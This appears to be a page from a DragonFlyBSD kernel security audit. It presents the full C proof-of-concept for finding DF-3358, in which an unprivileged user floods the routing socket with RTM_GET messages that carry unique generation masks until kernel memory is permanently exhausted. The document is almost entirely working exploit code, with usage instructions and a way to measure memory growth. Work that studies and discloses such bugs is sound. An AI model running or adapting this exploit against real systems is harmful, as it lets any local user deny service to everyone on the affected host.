⬢ DragonFlyBSD Kernel Audit
DF-3358 / rtmask_poc.c
← back to finding ↓ download raw
/*
 * DF-3358 PoC: unprivileged permanent kernel memory consumption via
 * PF_ROUTE RTM_GET + RTA_GENMASK (rtmask_add_global pollution).
 *
 * sys/net/rtsock.c route_output(): RTM_GET is the ONE message type an
 * unprivileged user may send (priv check skips it, rtsock.c:738), yet the
 * hoisted genmask handler (rtsock.c:742-748) calls rtmask_add_global()
 * for EVERY message type including RTM_GET, before the switch.
 *
 * rtmask_add_global -> per-CPU rn_addmask(add) (sys/net/route.c:1762,
 * sys/net/radix.c:587) allocates RN_MAXKEYLEN + 2*sizeof(radix_node)
 * (=128 bytes) PER UNIQUE MASK PATTERN PER CPU and inserts it into the
 * global per-CPU mask trees.  Mask-tree nodes are NEVER freed (no free
 * path exists for rn_addmask allocations).  Key space is attacker-chosen
 * (32 bytes), so it is unbounded.
 *
 * Usage: rtmask_poc <iterations> [same-mask]
 *   iterations: number of RTM_GET messages to send
 *   same-mask:  optional; if set, reuse ONE mask pattern (control run;
 *              should show ~zero growth).
 *
 * Run as an UNPRIVILEGED user.  Measure with:
 *   vmstat -m | grep routetbl
 */
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/param.h>
#include <net/route.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <errno.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define GENM_LEN 33			/* sa_len of the genmask sockaddr */

int
main(int argc, char **argv)
{
	unsigned long iters, i;
	int s, same = 0;
	struct {
		struct rt_msghdr rtm;
		struct sockaddr_in dst;		/* RT_ROUNDUP(16) = 16 */
		unsigned char gen[40];		/* RT_ROUNDUP(33) = 40 */
	} msg;

	if (argc < 2) {
		fprintf(stderr, "usage: %s <iterations> [same-mask]\n", argv[0]);
		return 2;
	}
	iters = strtoul(argv[1], NULL, 0);
	if (argc > 2)
		same = 1;

	if (getuid() == 0)
		fprintf(stderr, "note: running as root; bug needs no "
		    "privilege, run as any user\n");

	s = socket(PF_ROUTE, SOCK_RAW, 0);
	if (s < 0) {
		perror("socket(PF_ROUTE)");
		return 1;
	}

	for (i = 0; i < iters; i++) {
		ssize_t n;
		uint32_t ctr;

		memset(&msg, 0, sizeof(msg));
		msg.rtm.rtm_msglen = sizeof(msg);
		msg.rtm.rtm_version = RTM_VERSION;
		msg.rtm.rtm_type = RTM_GET;
		msg.rtm.rtm_flags = 0;
		msg.rtm.rtm_seq = (int)i;
		/* RTA_DST | RTA_GENMASK */
		msg.rtm.rtm_addrs = RTA_DST | RTA_GENMASK;

		/* dst: 10.<i&255>.<i>>8>.1 — plain AF_INET sockaddr */
		msg.dst.sin_len = sizeof(msg.dst);
		msg.dst.sin_family = AF_INET;
		msg.dst.sin_addr.s_addr = htonl(
		    (10U << 24) | ((i & 0xff) << 16) |
		    (((i >> 8) & 0xff) << 8) | 1);

		/* genmask: unique 33-byte pattern per message.
		 * byte 0     sa_len = 33
		 * byte 1     family (part of the radix key, keep fixed)
		 * bytes 2..5 counter (unique)
		 * bytes 6..30 filler
		 * byte 31    0x01  (nonzero: defeats trailing-zero trim)
		 */
		ctr = same ? 0xdeadbeefU : (uint32_t)i;
		memset(msg.gen, 0x5a, 40);
		msg.gen[0] = GENM_LEN;
		msg.gen[1] = AF_INET;
		memcpy(&msg.gen[2], &ctr, 4);
		msg.gen[31] = 0x01;

		n = write(s, &msg, sizeof(msg));
		if (n < 0) {
			/* ESRCH is expected (no such route); the genmask is
			 * installed BEFORE the lookup, so the failure still
			 * consumed kernel memory. */
			if (errno != ESRCH) {
				fprintf(stderr,
				    "iter %lu: unexpected errno %d (%s)\n",
				    i, errno, strerror(errno));
				return 1;
			}
		} else if (n != (ssize_t)sizeof(msg)) {
			fprintf(stderr, "short write %zd\n", n);
			return 1;
		}
		if ((i % 10000) == 0)
			fprintf(stderr, "sent %lu/%lu\n", i, iters);
	}
	printf("done: %lu RTM_GET messages (unique mask: %s)\n",
	    iters, same ? "NO (control)" : "YES");
	return 0;
}